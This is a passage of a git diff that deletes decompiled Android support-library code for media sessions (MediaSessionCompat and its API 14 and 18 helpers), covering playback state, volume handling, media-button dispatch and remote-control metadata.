volumeProviderCompat.onAdjustVolume(i); - return; - } - return; - } - this.mAudioManager.adjustStreamVolume(this.mLocalStream, i, i2); - } - - void setVolumeTo(int i, int i2) { - if (this.mVolumeType == 2) { - VolumeProviderCompat volumeProviderCompat = this.mVolumeProvider; - if (volumeProviderCompat != null) { - volumeProviderCompat.onSetVolumeTo(i); - return; - } - return; - } - this.mAudioManager.setStreamVolume(this.mLocalStream, i, i2); - } - - /* JADX WARN: Removed duplicated region for block: B:33:0x007b */ - /* JADX WARN: Removed duplicated region for block: B:40:? A[RETURN, SYNTHETIC] */ - /* - Code decompiled incorrectly, please refer to instructions dump. - To view partially-correct add '--show-bad-code' argument - */ - android.support.v4.media.session.PlaybackStateCompat getStateWithUpdatedPosition() { - /* - r13 = this; - java.lang.Object r0 = r13.mLock - monitor-enter(r0) - android.support.v4.media.session.PlaybackStateCompat r1 = r13.mState // Catch: java.lang.Throwable -> L7d - android.support.v4.media.MediaMetadataCompat r2 = r13.mMetadata // Catch: java.lang.Throwable -> L7d - if (r2 == 0) goto L1a - java.lang.String r3 = "android.media.metadata.DURATION" - boolean r2 = r2.containsKey(r3) // Catch: java.lang.Throwable -> L7d - if (r2 == 0) goto L1a - android.support.v4.media.MediaMetadataCompat r2 = r13.mMetadata // Catch: java.lang.Throwable -> L7d - java.lang.String r3 = "android.media.metadata.DURATION" - long r2 = r2.getLong(r3) // Catch: java.lang.Throwable -> L7d - goto L1c - L1a: - r2 = -1 - L1c: - monitor-exit(r0) // Catch: java.lang.Throwable -> L7d - if (r1 == 0) goto L77 - int r0 = r1.getState() - r4 = 3 - if (r0 == r4) goto L34 - int r0 = r1.getState() - r4 = 4 - if (r0 == r4) goto L34 - int r0 = r1.getState() - r4 = 5 - if (r0 != r4) goto L77 - L34: - long r4 = r1.getLastPositionUpdateTime() - long r11 = android.os.SystemClock.elapsedRealtime() - r6 = 0 - int r0 = (r4 > r6 ? 1 : (r4 == r6 ? 0 : -1)) - if (r0 <= 0) goto L77 - float r0 = r1.getPlaybackSpeed() - long r4 = r11 - r4 - float r4 = (float) r4 - float r0 = r0 * r4 - long r4 = (long) r0 - long r8 = r1.getPosition() - long r4 = r4 + r8 - int r0 = (r2 > r6 ? 1 : (r2 == r6 ? 0 : -1)) - if (r0 < 0) goto L5a - int r0 = (r4 > r2 ? 1 : (r4 == r2 ? 0 : -1)) - if (r0 <= 0) goto L5a - r8 = r2 - goto L61 - L5a: - int r0 = (r4 > r6 ? 1 : (r4 == r6 ? 0 : -1)) - if (r0 >= 0) goto L60 - r8 = r6 - goto L61 - L60: - r8 = r4 - L61: - android.support.v4.media.session.PlaybackStateCompat$Builder r0 = new android.support.v4.media.session.PlaybackStateCompat$Builder - r0.(r1) - int r7 = r1.getState() - float r10 = r1.getPlaybackSpeed() - r6 = r0 - r6.setState(r7, r8, r10, r11) - android.support.v4.media.session.PlaybackStateCompat r0 = r0.build() - goto L78 - L77: - r0 = 0 - L78: - if (r0 != 0) goto L7b - goto L7c - L7b: - r1 = r0 - L7c: - return r1 - L7d: - r1 = move-exception - monitor-exit(r0) // Catch: java.lang.Throwable -> L7d - throw r1 - */ - throw new UnsupportedOperationException("Method not decompiled: android.support.v4.media.session.MediaSessionCompat.MediaSessionImplBase.getStateWithUpdatedPosition():android.support.v4.media.session.PlaybackStateCompat"); - } - - void sendVolumeInfoChanged(ParcelableVolumeInfo parcelableVolumeInfo) { - for (int beginBroadcast = this.mControllerCallbacks.beginBroadcast() - 1; beginBroadcast >= 0; beginBroadcast--) { - try { - this.mControllerCallbacks.getBroadcastItem(beginBroadcast).onVolumeInfoChanged(parcelableVolumeInfo); - } catch (RemoteException unused) { - } - } - this.mControllerCallbacks.finishBroadcast(); - } - - private void sendSessionDestroyed() { - for (int beginBroadcast = this.mControllerCallbacks.beginBroadcast() - 1; beginBroadcast >= 0; beginBroadcast--) { - try { - this.mControllerCallbacks.getBroadcastItem(beginBroadcast).onSessionDestroyed(); - } catch (RemoteException unused) { - } - } - this.mControllerCallbacks.finishBroadcast(); - this.mControllerCallbacks.kill(); - } - - private void sendEvent(String str, Bundle bundle) { - for (int beginBroadcast = this.mControllerCallbacks.beginBroadcast() - 1; beginBroadcast >= 0; beginBroadcast--) { - try { - this.mControllerCallbacks.getBroadcastItem(beginBroadcast).onEvent(str, bundle); - } catch (RemoteException unused) { - } - } - this.mControllerCallbacks.finishBroadcast(); - } - - private void sendState(PlaybackStateCompat playbackStateCompat) { - for (int beginBroadcast = this.mControllerCallbacks.beginBroadcast() - 1; beginBroadcast >= 0; beginBroadcast--) { - try { - this.mControllerCallbacks.getBroadcastItem(beginBroadcast).onPlaybackStateChanged(playbackStateCompat); - } catch (RemoteException unused) { - } - } - this.mControllerCallbacks.finishBroadcast(); - } - - private void sendMetadata(MediaMetadataCompat mediaMetadataCompat) { - for (int beginBroadcast = this.mControllerCallbacks.beginBroadcast() - 1; beginBroadcast >= 0; beginBroadcast--) { - try { - this.mControllerCallbacks.getBroadcastItem(beginBroadcast).onMetadataChanged(mediaMetadataCompat); - } catch (RemoteException unused) { - } - } - this.mControllerCallbacks.finishBroadcast(); - } - - private void sendQueue(List list) { - for (int beginBroadcast = this.mControllerCallbacks.beginBroadcast() - 1; beginBroadcast >= 0; beginBroadcast--) { - try { - this.mControllerCallbacks.getBroadcastItem(beginBroadcast).onQueueChanged(list); - } catch (RemoteException unused) { - } - } - this.mControllerCallbacks.finishBroadcast(); - } - - private void sendQueueTitle(CharSequence charSequence) { - for (int beginBroadcast = this.mControllerCallbacks.beginBroadcast() - 1; beginBroadcast >= 0; beginBroadcast--) { - try { - this.mControllerCallbacks.getBroadcastItem(beginBroadcast).onQueueTitleChanged(charSequence); - } catch (RemoteException unused) { - } - } - this.mControllerCallbacks.finishBroadcast(); - } - - private void sendExtras(Bundle bundle) { - for (int beginBroadcast = this.mControllerCallbacks.beginBroadcast() - 1; beginBroadcast >= 0; beginBroadcast--) { - try { - this.mControllerCallbacks.getBroadcastItem(beginBroadcast).onExtrasChanged(bundle); - } catch (RemoteException unused) { - } - } - this.mControllerCallbacks.finishBroadcast(); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - class MediaSessionStub extends IMediaSession.Stub { - MediaSessionStub() { - } - - @Override // android.support.v4.media.session.IMediaSession - public void sendCommand(String str, Bundle bundle, ResultReceiverWrapper resultReceiverWrapper) { - MediaSessionImplBase.this.postToHandler(1, new Command(str, bundle, resultReceiverWrapper.mResultReceiver)); - } - - @Override // android.support.v4.media.session.IMediaSession - public boolean sendMediaButton(KeyEvent keyEvent) { - boolean z = (MediaSessionImplBase.this.mFlags & 1) != 0; - if (z) { - MediaSessionImplBase.this.postToHandler(21, keyEvent); - } - return z; - } - - @Override // android.support.v4.media.session.IMediaSession - public void registerCallbackListener(IMediaControllerCallback iMediaControllerCallback) { - if (MediaSessionImplBase.this.mDestroyed) { - try { - iMediaControllerCallback.onSessionDestroyed(); - return; - } catch (Exception unused) { - return; - } - } - MediaSessionImplBase.this.mControllerCallbacks.register(iMediaControllerCallback); - } - - @Override // android.support.v4.media.session.IMediaSession - public void unregisterCallbackListener(IMediaControllerCallback iMediaControllerCallback) { - MediaSessionImplBase.this.mControllerCallbacks.unregister(iMediaControllerCallback); - } - - @Override // android.support.v4.media.session.IMediaSession - public String getPackageName() { - return MediaSessionImplBase.this.mPackageName; - } - - @Override // android.support.v4.media.session.IMediaSession - public String getTag() { - return MediaSessionImplBase.this.mTag; - } - - @Override // android.support.v4.media.session.IMediaSession - public PendingIntent getLaunchPendingIntent() { - PendingIntent pendingIntent; - synchronized (MediaSessionImplBase.this.mLock) { - pendingIntent = MediaSessionImplBase.this.mSessionActivity; - } - return pendingIntent; - } - - @Override // android.support.v4.media.session.IMediaSession - public long getFlags() { - long j; - synchronized (MediaSessionImplBase.this.mLock) { - j = MediaSessionImplBase.this.mFlags; - } - return j; - } - - @Override // android.support.v4.media.session.IMediaSession - public ParcelableVolumeInfo getVolumeAttributes() { - int i; - int i2; - int streamMaxVolume; - int streamVolume; - int i3; - synchronized (MediaSessionImplBase.this.mLock) { - i = MediaSessionImplBase.this.mVolumeType; - i2 = MediaSessionImplBase.this.mLocalStream; - VolumeProviderCompat volumeProviderCompat = MediaSessionImplBase.this.mVolumeProvider; - int i4 = 2; - if (i == 2) { - i4 = volumeProviderCompat.getVolumeControl(); - int maxVolume = volumeProviderCompat.getMaxVolume(); - streamVolume = volumeProviderCompat.getCurrentVolume(); - streamMaxVolume = maxVolume; - } else { - streamMaxVolume = MediaSessionImplBase.this.mAudioManager.getStreamMaxVolume(i2); - streamVolume = MediaSessionImplBase.this.mAudioManager.getStreamVolume(i2); - } - i3 = i4; - } - return new ParcelableVolumeInfo(i, i2, i3, streamMaxVolume, streamVolume); - } - - @Override // android.support.v4.media.session.IMediaSession - public void adjustVolume(int i, int i2, String str) { - MediaSessionImplBase.this.adjustVolume(i, i2); - } - - @Override // android.support.v4.media.session.IMediaSession - public void setVolumeTo(int i, int i2, String str) { - MediaSessionImplBase.this.setVolumeTo(i, i2); - } - - @Override // android.support.v4.media.session.IMediaSession - public void prepare() throws RemoteException { - MediaSessionImplBase.this.postToHandler(3); - } - - @Override // android.support.v4.media.session.IMediaSession - public void prepareFromMediaId(String str, Bundle bundle) throws RemoteException { - MediaSessionImplBase.this.postToHandler(4, str, bundle); - } - - @Override // android.support.v4.media.session.IMediaSession - public void prepareFromSearch(String str, Bundle bundle) throws RemoteException { - MediaSessionImplBase.this.postToHandler(5, str, bundle); - } - - @Override // android.support.v4.media.session.IMediaSession - public void prepareFromUri(Uri uri, Bundle bundle) throws RemoteException { - MediaSessionImplBase.this.postToHandler(6, uri, bundle); - } - - @Override // android.support.v4.media.session.IMediaSession - public void play() throws RemoteException { - MediaSessionImplBase.this.postToHandler(7); - } - - @Override // android.support.v4.media.session.IMediaSession - public void playFromMediaId(String str, Bundle bundle) throws RemoteException { - MediaSessionImplBase.this.postToHandler(8, str, bundle); - } - - @Override // android.support.v4.media.session.IMediaSession - public void playFromSearch(String str, Bundle bundle) throws RemoteException { - MediaSessionImplBase.this.postToHandler(9, str, bundle); - } - - @Override // android.support.v4.media.session.IMediaSession - public void playFromUri(Uri uri, Bundle bundle) throws RemoteException { - MediaSessionImplBase.this.postToHandler(10, uri, bundle); - } - - @Override // android.support.v4.media.session.IMediaSession - public void skipToQueueItem(long j) { - MediaSessionImplBase.this.postToHandler(11, Long.valueOf(j)); - } - - @Override // android.support.v4.media.session.IMediaSession - public void pause() throws RemoteException { - MediaSessionImplBase.this.postToHandler(12); - } - - @Override // android.support.v4.media.session.IMediaSession - public void stop() throws RemoteException { - MediaSessionImplBase.this.postToHandler(13); - } - - @Override // android.support.v4.media.session.IMediaSession - public void next() throws RemoteException { - MediaSessionImplBase.this.postToHandler(14); - } - - @Override // android.support.v4.media.session.IMediaSession - public void previous() throws RemoteException { - MediaSessionImplBase.this.postToHandler(15); - } - - @Override // android.support.v4.media.session.IMediaSession - public void fastForward() throws RemoteException { - MediaSessionImplBase.this.postToHandler(16); - } - - @Override // android.support.v4.media.session.IMediaSession - public void rewind() throws RemoteException { - MediaSessionImplBase.this.postToHandler(17); - } - - @Override // android.support.v4.media.session.IMediaSession - public void seekTo(long j) throws RemoteException { - MediaSessionImplBase.this.postToHandler(18, Long.valueOf(j)); - } - - @Override // android.support.v4.media.session.IMediaSession - public void rate(RatingCompat ratingCompat) throws RemoteException { - MediaSessionImplBase.this.postToHandler(19, ratingCompat); - } - - @Override // android.support.v4.media.session.IMediaSession - public void sendCustomAction(String str, Bundle bundle) throws RemoteException { - MediaSessionImplBase.this.postToHandler(20, str, bundle); - } - - @Override // android.support.v4.media.session.IMediaSession - public MediaMetadataCompat getMetadata() { - return MediaSessionImplBase.this.mMetadata; - } - - @Override // android.support.v4.media.session.IMediaSession - public PlaybackStateCompat getPlaybackState() { - return MediaSessionImplBase.this.getStateWithUpdatedPosition(); - } - - @Override // android.support.v4.media.session.IMediaSession - public List getQueue() { - List list; - synchronized (MediaSessionImplBase.this.mLock) { - list = MediaSessionImplBase.this.mQueue; - } - return list; - } - - @Override // android.support.v4.media.session.IMediaSession - public CharSequence getQueueTitle() { - return MediaSessionImplBase.this.mQueueTitle; - } - - @Override // android.support.v4.media.session.IMediaSession - public Bundle getExtras() { - Bundle bundle; - synchronized (MediaSessionImplBase.this.mLock) { - bundle = MediaSessionImplBase.this.mExtras; - } - return bundle; - } - - @Override // android.support.v4.media.session.IMediaSession - public int getRatingType() { - return MediaSessionImplBase.this.mRatingType; - } - - @Override // android.support.v4.media.session.IMediaSession - public boolean isTransportControlEnabled() { - return (MediaSessionImplBase.this.mFlags & 2) != 0; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static final class Command { - public final String command; - public final Bundle extras; - public final ResultReceiver stub; - - public Command(String str, Bundle bundle, ResultReceiver resultReceiver) { - this.command = str; - this.extras = bundle; - this.stub = resultReceiver; - } - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public class MessageHandler extends Handler { - private static final int KEYCODE_MEDIA_PAUSE = 127; - private static final int KEYCODE_MEDIA_PLAY = 126; - private static final int MSG_ADJUST_VOLUME = 2; - private static final int MSG_COMMAND = 1; - private static final int MSG_CUSTOM_ACTION = 20; - private static final int MSG_FAST_FORWARD = 16; - private static final int MSG_MEDIA_BUTTON = 21; - private static final int MSG_NEXT = 14; - private static final int MSG_PAUSE = 12; - private static final int MSG_PLAY = 7; - private static final int MSG_PLAY_MEDIA_ID = 8; - private static final int MSG_PLAY_SEARCH = 9; - private static final int MSG_PLAY_URI = 10; - private static final int MSG_PREPARE = 3; - private static final int MSG_PREPARE_MEDIA_ID = 4; - private static final int MSG_PREPARE_SEARCH = 5; - private static final int MSG_PREPARE_URI = 6; - private static final int MSG_PREVIOUS = 15; - private static final int MSG_RATE = 19; - private static final int MSG_REWIND = 17; - private static final int MSG_SEEK_TO = 18; - private static final int MSG_SET_VOLUME = 22; - private static final int MSG_SKIP_TO_ITEM = 11; - private static final int MSG_STOP = 13; - - public MessageHandler(Looper looper) { - super(looper); - } - - public void post(int i, Object obj, Bundle bundle) { - Message obtainMessage = obtainMessage(i, obj); - obtainMessage.setData(bundle); - obtainMessage.sendToTarget(); - } - - public void post(int i, Object obj) { - obtainMessage(i, obj).sendToTarget(); - } - - public void post(int i) { - post(i, null); - } - - public void post(int i, Object obj, int i2) { - obtainMessage(i, i2, 0, obj).sendToTarget(); - } - - @Override // android.os.Handler - public void handleMessage(Message message) { - Callback callback = MediaSessionImplBase.this.mCallback; - if (callback == null) { - return; - } - switch (message.what) { - case 1: - Command command = (Command) message.obj; - callback.onCommand(command.command, command.extras, command.stub); - return; - case 2: - MediaSessionImplBase.this.adjustVolume(((Integer) message.obj).intValue(), 0); - return; - case 3: - callback.onPrepare(); - return; - case 4: - callback.onPrepareFromMediaId((String) message.obj, message.getData()); - return; - case 5: - callback.onPrepareFromSearch((String) message.obj, message.getData()); - return; - case 6: - callback.onPrepareFromUri((Uri) message.obj, message.getData()); - return; - case 7: - callback.onPlay(); - return; - case 8: - callback.onPlayFromMediaId((String) message.obj, message.getData()); - return; - case 9: - callback.onPlayFromSearch((String) message.obj, message.getData()); - return; - case 10: - callback.onPlayFromUri((Uri) message.obj, message.getData()); - return; - case 11: - callback.onSkipToQueueItem(((Long) message.obj).longValue()); - return; - case 12: - callback.onPause(); - return; - case 13: - callback.onStop(); - return; - case 14: - callback.onSkipToNext(); - return; - case 15: - callback.onSkipToPrevious(); - return; - case 16: - callback.onFastForward(); - return; - case 17: - callback.onRewind(); - return; - case 18: - callback.onSeekTo(((Long) message.obj).longValue()); - return; - case 19: - callback.onSetRating((RatingCompat) message.obj); - return; - case 20: - callback.onCustomAction((String) message.obj, message.getData()); - return; - case 21: - KeyEvent keyEvent = (KeyEvent) message.obj; - Intent intent = new Intent("android.intent.action.MEDIA_BUTTON"); - intent.putExtra("android.intent.extra.KEY_EVENT", keyEvent); - if (callback.onMediaButtonEvent(intent)) { - return; - } - onMediaButtonEvent(keyEvent, callback); - return; - case 22: - MediaSessionImplBase.this.setVolumeTo(((Integer) message.obj).intValue(), 0); - return; - default: - return; - } - } - - private void onMediaButtonEvent(KeyEvent keyEvent, Callback callback) { - if (keyEvent == null || keyEvent.getAction() != 0) { - return; - } - long actions = MediaSessionImplBase.this.mState == null ? 0L : MediaSessionImplBase.this.mState.getActions(); - int keyCode = keyEvent.getKeyCode(); - if (keyCode != 79) { - if (keyCode == 126) { - if ((actions & 4) != 0) { - callback.onPlay(); - return; - } - return; - } else if (keyCode == 127) { - if ((actions & 2) != 0) { - callback.onPause(); - return; - } - return; - } else { - switch (keyCode) { - case 85: - break; - case 86: - if ((actions & 1) != 0) { - callback.onStop(); - return; - } - return; - case 87: - if ((actions & 32) != 0) { - callback.onSkipToNext(); - return; - } - return; - case 88: - if ((actions & 16) != 0) { - callback.onSkipToPrevious(); - return; - } - return; - case 89: - if ((actions & 8) != 0) { - callback.onRewind(); - return; - } - return; - case 90: - if ((actions & 64) != 0) { - callback.onFastForward(); - return; - } - return; - default: - return; - } - } - } - boolean z = MediaSessionImplBase.this.mState != null && MediaSessionImplBase.this.mState.getState() == 3; - boolean z2 = (516 & actions) != 0; - boolean z3 = (actions & 514) != 0; - if (z && z3) { - callback.onPause(); - } else if (z || !z2) { - } else { - callback.onPlay(); - } - } - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class MediaSessionImplApi21 implements MediaSessionImpl { - private PendingIntent mMediaButtonIntent; - private final Object mSessionObj; - private final Token mToken; - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public Object getRemoteControlClient() { - return null; - } - - public MediaSessionImplApi21(Context context, String str) { - Object createSession = MediaSessionCompatApi21.createSession(context, str); - this.mSessionObj = createSession; - this.mToken = new Token(MediaSessionCompatApi21.getSessionToken(createSession)); - } - - public MediaSessionImplApi21(Object obj) { - Object verifySession = MediaSessionCompatApi21.verifySession(obj); - this.mSessionObj = verifySession; - this.mToken = new Token(MediaSessionCompatApi21.getSessionToken(verifySession)); - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setCallback(Callback callback, Handler handler) { - MediaSessionCompatApi21.setCallback(this.mSessionObj, callback == null ? null : callback.mCallbackObj, handler); - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setFlags(int i) { - MediaSessionCompatApi21.setFlags(this.mSessionObj, i); - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setPlaybackToLocal(int i) { - MediaSessionCompatApi21.setPlaybackToLocal(this.mSessionObj, i); - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setPlaybackToRemote(VolumeProviderCompat volumeProviderCompat) { - MediaSessionCompatApi21.setPlaybackToRemote(this.mSessionObj, volumeProviderCompat.getVolumeProvider()); - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setActive(boolean z) { - MediaSessionCompatApi21.setActive(this.mSessionObj, z); - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public boolean isActive() { - return MediaSessionCompatApi21.isActive(this.mSessionObj); - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void sendSessionEvent(String str, Bundle bundle) { - MediaSessionCompatApi21.sendSessionEvent(this.mSessionObj, str, bundle); - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void release() { - MediaSessionCompatApi21.release(this.mSessionObj); - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public Token getSessionToken() { - return this.mToken; - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setPlaybackState(PlaybackStateCompat playbackStateCompat) { - MediaSessionCompatApi21.setPlaybackState(this.mSessionObj, playbackStateCompat == null ? null : playbackStateCompat.getPlaybackState()); - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setMetadata(MediaMetadataCompat mediaMetadataCompat) { - MediaSessionCompatApi21.setMetadata(this.mSessionObj, mediaMetadataCompat == null ? null : mediaMetadataCompat.getMediaMetadata()); - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setSessionActivity(PendingIntent pendingIntent) { - MediaSessionCompatApi21.setSessionActivity(this.mSessionObj, pendingIntent); - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setMediaButtonReceiver(PendingIntent pendingIntent) { - this.mMediaButtonIntent = pendingIntent; - MediaSessionCompatApi21.setMediaButtonReceiver(this.mSessionObj, pendingIntent); - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setQueue(List list) { - ArrayList arrayList; - if (list != null) { - arrayList = new ArrayList(); - for (QueueItem queueItem : list) { - arrayList.add(queueItem.getQueueItem()); - } - } else { - arrayList = null; - } - MediaSessionCompatApi21.setQueue(this.mSessionObj, arrayList); - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setQueueTitle(CharSequence charSequence) { - MediaSessionCompatApi21.setQueueTitle(this.mSessionObj, charSequence); - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setRatingType(int i) { - MediaSessionCompatApi22.setRatingType(this.mSessionObj, i); - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setExtras(Bundle bundle) { - MediaSessionCompatApi21.setExtras(this.mSessionObj, bundle); - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public Object getMediaSession() { - return this.mSessionObj; - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public String getCallingPackage() { - return MediaSessionCompatApi24.getCallingPackage(this.mSessionObj); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaSessionCompatApi14.java b/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaSessionCompatApi14.java deleted file mode 100644 index c11224b..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaSessionCompatApi14.java +++ /dev/null @@ -1,181 +0,0 @@ -package android.support.v4.media.session; - -import android.app.PendingIntent; -import android.content.Context; -import android.graphics.Bitmap; -import android.media.AudioManager; -import android.media.RemoteControlClient; -import android.os.Bundle; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MediaSessionCompatApi14 { - private static final long ACTION_FAST_FORWARD = 64; - private static final long ACTION_PAUSE = 2; - private static final long ACTION_PLAY = 4; - private static final long ACTION_PLAY_PAUSE = 512; - private static final long ACTION_REWIND = 8; - private static final long ACTION_SKIP_TO_NEXT = 32; - private static final long ACTION_SKIP_TO_PREVIOUS = 16; - private static final long ACTION_STOP = 1; - private static final String METADATA_KEY_ALBUM = "android.media.metadata.ALBUM"; - private static final String METADATA_KEY_ALBUM_ART = "android.media.metadata.ALBUM_ART"; - private static final String METADATA_KEY_ALBUM_ARTIST = "android.media.metadata.ALBUM_ARTIST"; - private static final String METADATA_KEY_ART = "android.media.metadata.ART"; - private static final String METADATA_KEY_ARTIST = "android.media.metadata.ARTIST"; - private static final String METADATA_KEY_AUTHOR = "android.media.metadata.AUTHOR"; - private static final String METADATA_KEY_COMPILATION = "android.media.metadata.COMPILATION"; - private static final String METADATA_KEY_COMPOSER = "android.media.metadata.COMPOSER"; - private static final String METADATA_KEY_DATE = "android.media.metadata.DATE"; - private static final String METADATA_KEY_DISC_NUMBER = "android.media.metadata.DISC_NUMBER"; - private static final String METADATA_KEY_DURATION = "android.media.metadata.DURATION"; - private static final String METADATA_KEY_GENRE = "android.media.metadata.GENRE"; - private static final String METADATA_KEY_TITLE = "android.media.metadata.TITLE"; - private static final String METADATA_KEY_TRACK_NUMBER = "android.media.metadata.TRACK_NUMBER"; - private static final String METADATA_KEY_WRITER = "android.media.metadata.WRITER"; - static final int RCC_PLAYSTATE_NONE = 0; - static final int STATE_BUFFERING = 6; - static final int STATE_CONNECTING = 8; - static final int STATE_ERROR = 7; - static final int STATE_FAST_FORWARDING = 4; - static final int STATE_NONE = 0; - static final int STATE_PAUSED = 2; - static final int STATE_PLAYING = 3; - static final int STATE_REWINDING = 5; - static final int STATE_SKIPPING_TO_NEXT = 10; - static final int STATE_SKIPPING_TO_PREVIOUS = 9; - static final int STATE_SKIPPING_TO_QUEUE_ITEM = 11; - static final int STATE_STOPPED = 1; - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getRccStateFromState(int i) { - switch (i) { - case 0: - return 0; - case 1: - return 1; - case 2: - return 2; - case 3: - return 3; - case 4: - return 4; - case 5: - return 5; - case 6: - case 8: - return 8; - case 7: - return 9; - case 9: - return 7; - case 10: - case 11: - return 6; - default: - return -1; - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getRccTransportControlFlagsFromActions(long j) { - int i = (1 & j) != 0 ? 32 : 0; - if ((2 & j) != 0) { - i |= 16; - } - if ((4 & j) != 0) { - i |= 4; - } - if ((8 & j) != 0) { - i |= 2; - } - if ((16 & j) != 0) { - i |= 1; - } - if ((32 & j) != 0) { - i |= 128; - } - if ((64 & j) != 0) { - i |= 64; - } - return (j & 512) != 0 ? i | 8 : i; - } - - MediaSessionCompatApi14() { - } - - public static Object createRemoteControlClient(PendingIntent pendingIntent) { - return new RemoteControlClient(pendingIntent); - } - - public static void setState(Object obj, int i) { - ((RemoteControlClient) obj).setPlaybackState(getRccStateFromState(i)); - } - - public static void setTransportControlFlags(Object obj, long j) { - ((RemoteControlClient) obj).setTransportControlFlags(getRccTransportControlFlagsFromActions(j)); - } - - public static void setMetadata(Object obj, Bundle bundle) { - RemoteControlClient.MetadataEditor editMetadata = ((RemoteControlClient) obj).editMetadata(true); - buildOldMetadata(bundle, editMetadata); - editMetadata.apply(); - } - - public static void registerRemoteControlClient(Context context, Object obj) { - ((AudioManager) context.getSystemService("audio")).registerRemoteControlClient((RemoteControlClient) obj); - } - - public static void unregisterRemoteControlClient(Context context, Object obj) { - ((AudioManager) context.getSystemService("audio")).unregisterRemoteControlClient((RemoteControlClient) obj); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void buildOldMetadata(Bundle bundle, RemoteControlClient.MetadataEditor metadataEditor) { - if (bundle == null) { - return; - } - if (bundle.containsKey("android.media.metadata.ART")) { - metadataEditor.putBitmap(100, (Bitmap) bundle.getParcelable("android.media.metadata.ART")); - } else if (bundle.containsKey("android.media.metadata.ALBUM_ART")) { - metadataEditor.putBitmap(100, (Bitmap) bundle.getParcelable("android.media.metadata.ALBUM_ART")); - } - if (bundle.containsKey("android.media.metadata.ALBUM")) { - metadataEditor.putString(1, bundle.getString("android.media.metadata.ALBUM")); - } - if (bundle.containsKey("android.media.metadata.ALBUM_ARTIST")) { - metadataEditor.putString(13, bundle.getString("android.media.metadata.ALBUM_ARTIST")); - } - if (bundle.containsKey("android.media.metadata.ARTIST")) { - metadataEditor.putString(2, bundle.getString("android.media.metadata.ARTIST")); - } - if (bundle.containsKey("android.media.metadata.AUTHOR")) { - metadataEditor.putString(3, bundle.getString("android.media.metadata.AUTHOR")); - } - if (bundle.containsKey("android.media.metadata.COMPILATION")) { - metadataEditor.putString(15, bundle.getString("android.media.metadata.COMPILATION")); - } - if (bundle.containsKey("android.media.metadata.COMPOSER")) { - metadataEditor.putString(4, bundle.getString("android.media.metadata.COMPOSER")); - } - if (bundle.containsKey("android.media.metadata.DATE")) { - metadataEditor.putString(5, bundle.getString("android.media.metadata.DATE")); - } - if (bundle.containsKey("android.media.metadata.DISC_NUMBER")) { - metadataEditor.putLong(14, bundle.getLong("android.media.metadata.DISC_NUMBER")); - } - if (bundle.containsKey("android.media.metadata.DURATION")) { - metadataEditor.putLong(9, bundle.getLong("android.media.metadata.DURATION")); - } - if (bundle.containsKey("android.media.metadata.GENRE")) { - metadataEditor.putString(6, bundle.getString("android.media.metadata.GENRE")); - } - if (bundle.containsKey("android.media.metadata.TITLE")) { - metadataEditor.putString(7, bundle.getString("android.media.metadata.TITLE")); - } - if (bundle.containsKey("android.media.metadata.TRACK_NUMBER")) { - metadataEditor.putLong(0, bundle.getLong("android.media.metadata.TRACK_NUMBER")); - } - if (bundle.containsKey("android.media.metadata.WRITER")) { - metadataEditor.putString(11, bundle.getString("android.media.metadata.WRITER")); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaSessionCompatApi18.java b/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaSessionCompatApi18.java deleted file mode 100644 index 5f93d3d..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaSessionCompatApi18.java +++ /dev/null @@ -1,97 +0,0 @@ -package android.support.v4.media.session; - -import android.app.PendingIntent; -import android.content.ComponentName; -import android.content.Context; -import android.media.AudioManager; -import android.media.RemoteControlClient; -import android.os.SystemClock; -import android.util.Log; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MediaSessionCompatApi18 { - private static final long ACTION_SEEK_TO = 256; - private static final String TAG = "MediaSessionCompatApi18"; - private static boolean sIsMbrPendingIntentSupported = true; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface Callback { - void onSeekTo(long j); - } - - MediaSessionCompatApi18() { - } - - public static Object createPlaybackPositionUpdateListener(Callback callback) { - return new OnPlaybackPositionUpdateListener(callback); - } - - public static void registerMediaButtonEventReceiver(Context context, PendingIntent pendingIntent, ComponentName componentName) { - AudioManager audioManager = (AudioManager) context.getSystemService("audio"); - if (sIsMbrPendingIntentSupported) { - try { - 